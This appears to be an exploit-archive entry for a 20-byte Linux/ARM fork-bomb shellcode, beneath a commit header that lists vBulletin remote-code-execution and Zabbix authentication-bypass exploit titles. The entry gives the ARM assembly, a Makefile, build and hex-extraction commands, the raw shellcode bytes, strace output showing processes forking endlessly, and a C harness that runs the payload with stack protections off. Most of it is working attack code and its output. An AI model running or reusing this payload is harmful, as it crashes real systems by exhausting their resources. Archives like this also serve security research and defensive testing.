54bc76dcfd
3 changes to exploits/shellcodes vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution vBulletin 5.0 < 5.5.4 - 'widget_php ' Unauthenticated Remote Code Execution Zabbix 4.4 - Authentication Bypass vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution Linux/ARM - Fork Bomb Shellcode (20 bytes)
79 lines
No EOL
2.5 KiB
C
79 lines
No EOL
2.5 KiB
C
# Title: Linux/ARM - Fork Bomb Shellcode (20 bytes)
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# Date: 2019-10-07
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# Category: Shellcode
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# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
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# Author: CJHackerz
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# Description: This shellcode creates new processes in infinite loop to exhaust CPU resources leading to crash
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/*
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## Compilation instruction
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pi@raspberrypi:~ cat forkbomb_ARM32.s
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.text
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.global _start
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_start:
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.code 32
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ADD R3, PC, #1 //Switching to Thumb mode
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BX R3
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.code 16
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_loop:
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EOR R7, R7
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MOV R7, #2 //Syscall to fork()
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SVC #1
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MOV R8, R8 //NOP
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BL _loop
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pi@raspberrypi:~ cat Makefile
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forkbomb_ARM32: forkbomb_ARM32.o
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ld forkbomb_ARM32.o -o forkbomb_ARM32
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forkbomb_ARM32.o: forkbomb_ARM32.s
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as forkbomb_ARM32.s -o forkbomb_ARM32.o
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clean:
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rm *.o forkbomb_ARM32
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pi@raspberrypi:~ make
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pi@raspberrypi:~ objcopy -O binary forkbomb_ARM32 forkbomb_ARM32.bin
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pi@raspberrypi:~ hexdump -v -e '"\\""x" 1/1 "%02x" ""' forkbomb_ARM32.bin && echo
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\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff
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## Testing compiled shellcode
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pi@raspberrypi:~ file forkbomb_ARM32
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forkbomb_ARM32: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
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pi@raspberrypi:~ strace ./forkbomb_ARM32
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execve("./forkbomb_ARM32", ["./forkbomb_ARM32"], 0x7eab36e0 ) = 0
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fork() = 21975
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fork() = 22000
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fork() = 22016
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fork() = 22044
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fork() = 22087
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fork() = 22125
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fork() = 22162
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fork() = 22199
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fork() = 22242
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fork() = 22287
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fork() = 22326
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fork() = 23343
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fork() = 23501
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fork() = 23539
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fork() = 23606
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fork() = 26670
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^Cstrace: Process 21974 detached
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## Steps to compile given shellcode C program file
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pi@raspberrypi:~ gcc -fno-stack-protector -z execstack forkbomb_ARM32.c -o forkbomb_ARM32-test
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x7f\x40\x02\x27\x01\xdf\xc0\x46\xff\xf7\xfa\xff";
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main(){
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printf("Shellcode Length: %d\n", (int)strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |